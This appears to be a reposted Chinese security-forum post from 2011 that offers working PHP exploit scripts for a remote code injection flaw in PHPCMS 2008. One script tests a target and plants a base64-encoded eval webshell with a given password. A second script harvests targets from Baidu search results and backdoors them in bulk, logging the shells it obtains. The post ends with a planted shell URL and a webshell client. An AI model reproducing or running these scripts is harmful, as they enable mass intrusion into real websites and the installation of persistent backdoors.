积木网络2011年11月
直接GETSHELL。一句话密码为c
EXP:
#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
PHPCMS Remote Code Inject GetShell Exploit
Google Dork:Powered by Phpcms 2008
code by secr
+---------------------------------------------------------------------------+
');
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(0);
set_time_limit(0);
$host = $argv[1];
$path = $argv[2];
$exp ='/yp/product.php?view_type=1&catid=&pagesize={${fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}&areaname=0&order=';
//检测是否存在漏洞
echo "[+] Try to determine the Bug....n";
$returnstr=httpRequestGET('/yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order=');
if(preg_match('/(php.ini)/i',$returnstr)){
echo("[+] This site has Bug!We Will Be Try To Exploit Itn");
}
else
{
exit("[-] Exploit Failed! This site has No Bug!n");
}
//如果存在漏洞,就发送EXP Getshell
echo "[+] Try to create webshell....n";
httpRequestGET($exp);
$content=httpRequestGET("/yp/shell.php");
//发送EXP后,在获取的shell检测时候页面里有OK字符,如果有,则GETWebshell成功。
//print_r($content);
if(strpos($content,'ok')){
echo "[+] Expoilt successfully....n";
echo "[+] Webshell:http://$host{$path}yp/shell.phpn";
}else{
exit("[-] Exploit Failed!n");
}
//模拟POST或者GET请求函数。
function httpRequestGET($url){
global $host, $path;
$method=$method?'POST':'GET';
$payload = $method." ".$path.$url." HTTP/1.1rn";
$payload .= "Accept: */*rn";
$payload .= "User-Agent: Payb-Agentrn";
$payload .= "Host: " . $host . "rn";
$payload .= "Connection: Closernrn";
$fp = fsockopen(gethostbyname($host), 80);
if (!$fp) {
echo 'No response from '.$host; die;
}
fputs($fp, $payload);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
批量的EXP如下,这威力很大。请各位大牛自重 。
<?php
error_reporting(E_ERROR);
set_time_limit(0);
$keyword='inurl:about/joinus' ; // 批量关键字
$timeout = 1;
$stratpage = 1;
$lastpage = 10000000;
for ($i=$stratpage ; $i<=$lastpage ; $i++ ){
$array=ReadBaiduList($keyword,$timeout,$i);
foreach ($array as $url ){
$url_list=file('url.txt');
if (in_array("$urlrn",$url_list)){
echo "[-] Links repeatn";
}else{
$fp = @fopen('url.txt', 'a');
@fwrite($fp, $url."rn");
@fclose($fp);
print_r("
[-] Get ...... $urlrn");
if(okbug($url)){
$exploit=exploit($url);
$ors=okor($url);
if ($ors){
echo "[*] Shell:-> ".$url."/yp/fuck.phpn";
$fp = @fopen('shell.txt', 'a');
@fwrite($fp, $url."/yp/fuck.phprn");
@fclose($fp);
}
}else{
print "[-] No Bug!n";
}
}
}
}
function exploit($url){
$host=$url;
$port="80";
$content ='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7';
$data = 'POST /yp/product.php?pagesize=${${@eval%28$_POST[a]%29}} HTTP/1.1'."rn";
$data .= "X-Forwarded-For: 199.1.88.29rn";
$data .= "Referer: http://$hostrn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0rn";
$data .= "Host: $hostrn";
$data .= "Content-Length: ".strlen($content)."rn";
$data .= "Cache-Control: no-cachernrn";
$data .= $content."rn";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "[*] No response from $hostn";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
}
function okor($host){
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /yp/fuck.php HTTP/1.1rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
if (strpos($data, '200') !== false) {
return true;
}else{
return false;
}
}
function okbug($host){
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,'GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."rnHost:$hostrnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
if(preg_match('/(php.ini)/i',$data)) {
return true;
}else{
return false;
}
}
function ReadBaiduList($keyword,$timeout,$nowpage)
{
$tmp = array();
//$data = '';
$nowpage = ($nowpage-1)*10;
$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);
@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1rnHost:[url]www.baidu.com[/url]rnConnection: Closernrn");
while ($fp && !feof($fp))
$data .= fread($fp, 1024);
@fclose($fp);
preg_match_all("/})" href="http://([^~]*?)" target="_blank"/i",$data,$tmp);
$num = count($tmp[1]);
$array = array();
for($i = 0;$i < $num;$i++)
{
$row = explode('/',$tmp[1][$i]);
$array[] = str_replace('http://','',$row[0]);
}
return $array;
}
?>
批量后SHELL的地址:http://www.linuxso.com/yp/fuck.php 一句话密码cfking
一句话利用工具 http://www.linuxso.com/sb.htm
本文转自:linux安全网